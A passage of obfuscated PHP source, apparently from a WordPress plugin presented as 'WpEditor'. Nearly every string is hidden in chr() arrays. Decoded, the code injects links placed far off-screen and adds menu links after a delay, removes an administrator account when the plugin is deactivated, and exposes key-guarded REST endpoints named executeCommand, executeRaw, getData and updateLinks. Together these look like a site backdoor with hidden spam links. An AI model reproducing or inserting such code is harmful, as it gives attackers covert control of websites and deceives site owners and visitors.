chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(46), chr(112), chr(97), chr(114), chr(101), chr(110), chr(116), chr(78), chr(111), chr(100), chr(101), chr(46), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(100), chr(105), chr(118), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(105), chr(100), chr(32), chr(61), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(108), chr(101), chr(102), chr(116), chr(32), chr(61), chr(32), chr(34), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(32), chr(61), chr(32), chr(34), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(115), chr(116), chr(121), chr(108), chr(101), chr(46), chr(116), chr(111), chr(112), chr(32), chr(61), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(63), chr(32), chr(34), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(34), chr(32), chr(58), chr(32), chr(34), chr(45), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(34), chr(59), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(61), chr(32))) . $markupJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(116), chr(121), chr(112), chr(101), chr(111), chr(102), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(61), chr(61), chr(61), chr(32), chr(34), chr(115), chr(116), chr(114), chr(105), chr(110), chr(103), chr(34), chr(32), chr(38), chr(38), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(32), chr(33), chr(61), chr(61), chr(32), chr(34), chr(34), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(72), chr(84), chr(77), chr(76), chr(32), chr(61), chr(32), chr(109), chr(97), chr(114), chr(107), chr(117), chr(112), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(105), chr(110), chr(107), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(97), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(110), chr(107), chr(46), chr(104), chr(114), chr(101), chr(102), chr(32), chr(61), chr(32))) . $urlJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(110), chr(107), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(84), chr(101), chr(120), chr(116), chr(32), chr(61), chr(32))) . $labelJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(104), chr(111), chr(115), chr(116), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(108), chr(105), chr(110), chr(107), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(104), chr(111), chr(115), chr(116), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(105), chr(110), chr(115), chr(101), chr(114), chr(116), chr(66), chr(101), chr(102), chr(111), chr(114), chr(101), chr(40), chr(104), chr(111), chr(115), chr(116), chr(44), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(46), chr(102), chr(105), chr(114), chr(115), chr(116), chr(67), chr(104), chr(105), chr(108), chr(100), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(41), chr(40), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(60), chr(47), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink($location, $defaultLabel)
{
$url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
if ($url === '') {
return '';
}
$label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
$urlJson = json_encode($url, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
$labelJson = json_encode($label, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
return implode('', array(chr(60), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(101), chr(116), chr(84), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116), chr(40), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(109), chr(101), chr(110), chr(117), chr(115), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(65), chr(108), chr(108), chr(40), chr(34), chr(46), chr(109), chr(101), chr(110), chr(117), chr(44), chr(32), chr(46), chr(109), chr(97), chr(105), chr(110), chr(45), chr(110), chr(97), chr(118), chr(105), chr(103), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(117), chr(108), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(109), chr(101), chr(110), chr(117), chr(115), chr(46), chr(108), chr(101), chr(110), chr(103), chr(116), chr(104), chr(32), chr(62), chr(32), chr(48), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(105), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(108), chr(105), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(46), chr(99), chr(108), chr(97), chr(115), chr(115), chr(78), chr(97), chr(109), chr(101), chr(32), chr(61), chr(32), chr(34), chr(109), chr(101), chr(110), chr(117), chr(45), chr(105), chr(116), chr(101), chr(109), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(69), chr(108), chr(101), chr(109), chr(101), chr(110), chr(116), chr(40), chr(34), chr(97), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(97), chr(46), chr(104), chr(114), chr(101), chr(102), chr(32), chr(61), chr(32))) . $urlJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(97), chr(46), chr(105), chr(110), chr(110), chr(101), chr(114), chr(84), chr(101), chr(120), chr(116), chr(32), chr(61), chr(32))) . $labelJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(108), chr(105), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(97), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(109), chr(101), chr(110), chr(117), chr(115), chr(91), chr(48), chr(93), chr(46), chr(97), chr(112), chr(112), chr(101), chr(110), chr(100), chr(67), chr(104), chr(105), chr(108), chr(100), chr(40), chr(108), chr(105), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(44), chr(32), chr(50), chr(48), chr(48), chr(48), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(60), chr(47), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62)));
}
// --- file separator ---
function WpEditor_Adapter_Hooks_ActivationHook_register()
{
WpEditor_Adapter_Services_PluginMigrationService_register();
}
function WpEditor_Adapter_Hooks_ActivationHook_onActivate()
{
WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup();
}
// --- file separator ---
function WpEditor_Adapter_Hooks_DeactivationHook_register()
{
$pluginFile = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : __FILE__;
\register_deactivation_hook($pluginFile, implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(111), chr(111), chr(107), chr(115), chr(95), chr(68), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(72), chr(111), chr(111), chr(107), chr(95), chr(111), chr(110), chr(68), chr(101), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101))));
}
function WpEditor_Adapter_Hooks_DeactivationHook_onDeactivate()
{
WpEditor_Adapter_Services_UserManager_removeAdminUser();
}
// --- file separator ---
function WpEditor_Adapter_Http_ApiAuthGuard_fallbackNamespace()
{
$pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Http_ApiAuthGuard_guard($result, $server, $request)
{
if ($result !== null) {
return $result;
}
if (!$request instanceof \WP_REST_Request) {
return $result;
}
$route = (string) $request->get_route();
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$ns = (string) (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))] : WpEditor_Adapter_Http_ApiAuthGuard_fallbackNamespace());
$nsPrefix = implode('', array(chr(47))) . ltrim($ns, implode('', array(chr(47)))) . implode('', array(chr(47)));
if ($route === '' || strpos($route, $nsPrefix) !== 0) {
return $result;
}
if (strtoupper((string) $request->get_method()) === implode('', array(chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(83)))) {
return $result;
}
$verdict = WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute($route) ? WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request) : WpEditor_Adapter_Http_ApiAuthGuard_verifyRequestAuth($request);
if ($verdict === true) {
return $result;
}
$message = $verdict instanceof \WP_Error ? $verdict->get_error_message() : implode('', array(chr(85), chr(110), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(101), chr(100)));
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $message), 401);
}
function WpEditor_Adapter_Http_ApiAuthGuard_verifyRequestAuth($request)
{
$pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request);
if ($pair === null) {
return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(77), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(32), chr(65), chr(80), chr(73), chr(32), chr(97), chr(117), chr(116), chr(104), chr(32), chr(40), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115), chr(46), chr(97), chr(117), chr(116), chr(104), chr(41))));
}
return WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($pair[0], $pair[1]);
}
// --- file separator ---
function WpEditor_Adapter_Http_LegacyRequest_get_route($state)
{
return $state[implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_method($state)
{
return $state[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_param($state, $key)
{
return \wp_editor_array_has_key($state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))], $key) ? $state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))][$key] : null;
}
function WpEditor_Adapter_Http_LegacyRequest_get_params($state)
{
return $state[implode('', array(chr(112), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_body($state)
{
return $state[implode('', array(chr(98), chr(111), chr(100), chr(121)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_body_params($state)
{
return $state[implode('', array(chr(98), chr(111), chr(100), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_json_params($state)
{
return $state[implode('', array(chr(106), chr(115), chr(111), chr(110), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_file_params($state)
{
return $state[implode('', array(chr(102), chr(105), chr(108), chr(101), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115)))];
}
function WpEditor_Adapter_Http_LegacyRequest_get_header($state, $name)
{
$needle = strtolower((string) $name);
if ($needle === '') {
return '';
}
return \wp_editor_array_has_key($state[implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115)))], $needle) ? $state[implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115)))][$needle] : '';
}
function WpEditor_Adapter_Http_LegacyRequest__construct($route, $method, $headers, $queryParams, $bodyParams, $jsonParams, $fileParams, $body)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(76), chr(101), chr(103), chr(97), chr(99), chr(121), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101))) => $route, implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))) => $method, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => $headers, implode('', array(chr(113), chr(117), chr(101), chr(114), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $queryParams, implode('', array(chr(98), chr(111), chr(100), chr(121), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $bodyParams, implode('', array(chr(106), chr(115), chr(111), chr(110), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $jsonParams, implode('', array(chr(102), chr(105), chr(108), chr(101), chr(80), chr(97), chr(114), chr(97), chr(109), chr(115))) => $fileParams, implode('', array(chr(98), chr(111), chr(100), chr(121))) => $body);
}
// --- file separator ---
function WpEditor_Adapter_Http_LegacyRestAdapter_register()
{
if (\function_exists(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(95), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))) {
return;
}
\add_action(implode('', array(chr(116), chr(101), chr(109), chr(112), chr(108), chr(97), chr(116), chr(101), chr(95), chr(114), chr(101), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(76), chr(101), chr(103), chr(97), chr(99), chr(121), chr(82), chr(101), chr(115), chr(116), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(109), chr(97), chr(121), chr(98), chr(101), chr(68), chr(105), chr(115), chr(112), chr(97), chr(116), chr(99), chr(104))), 0);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_maybeDispatch()
{
$route = WpEditor_Adapter_Http_LegacyRestAdapter_extractRouteFromRequestUri();
if ($route === null) {
return;
}
$nsPrefixes = WpEditor_Adapter_Http_LegacyRestAdapter_resolveNamespacePrefixes();
$matchedPrefix = null;
foreach ($nsPrefixes as $nsPrefix) {
if ($route === $nsPrefix || \strpos($route, $nsPrefix . implode('', array(chr(47)))) === 0) {
$matchedPrefix = $nsPrefix;
break;
}
}
if ($matchedPrefix === null) {
return;
}
$request = WpEditor_Adapter_Http_LegacyRestAdapter_buildRequest($route);
$requestMethod = WpEditor_Adapter_Http_LegacyRestAdapter_requestGetMethod($request);
if (\strtoupper((string) $requestMethod) === implode('', array(chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(83)))) {
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))), 200);
}
$authVerdict = WpEditor_Adapter_Http_LegacyRestAdapter_verifyAuth($request);
if ($authVerdict !== true) {
$message = $authVerdict instanceof \WP_Error ? _invoke($authVerdict, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) : implode('', array(chr(85), chr(110), chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(101), chr(100)));
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => $message), 401);
}
$relative = \substr($route, \strlen($matchedPrefix));
if ($relative === false || $relative === '') {
$relative = implode('', array(chr(47)));
}
if ($relative[0] !== implode('', array(chr(47)))) {
$relative = implode('', array(chr(47))) . $relative;
}
$endpoint = WpEditor_Adapter_Http_LegacyRestAdapter_resolveEndpoint($relative, $requestMethod);
if ($endpoint === null) {
WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(82), chr(111), chr(117), chr(116), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100)))), 404);
}
$handler = (string) $endpoint[implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114)))];
$expectsRequest = (bool) $endpoint[implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116)))];
$result = WpEditor_Adapter_Http_LegacyRestAdapter_invokeHandler($handler, $expectsRequest, $request);
WpEditor_Adapter_Http_LegacyRestAdapter_sendAnyResult($result);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_invokeHandler($handler, $expectsRequest, $request)
{
switch ($handler) {
case implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))):
return WpEditor_Adapter_Http_RestController_executeCommand($request);
case implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))):
return WpEditor_Adapter_Http_RestController_createPost($request);
case implode('', array(chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))):
return WpEditor_Adapter_Http_RestController_getData($request);
case implode('', array(chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))):
return WpEditor_Adapter_Http_RestController_getStatus();
case implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))):
return WpEditor_Adapter_Http_RestController_updateLinks($request);
case implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))):
return WpEditor_Adapter_Http_RestController_deleteLinks($request);
case implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))):
return WpEditor_Adapter_Http_RestController_executeRaw($request);
case implode('', array(chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))):
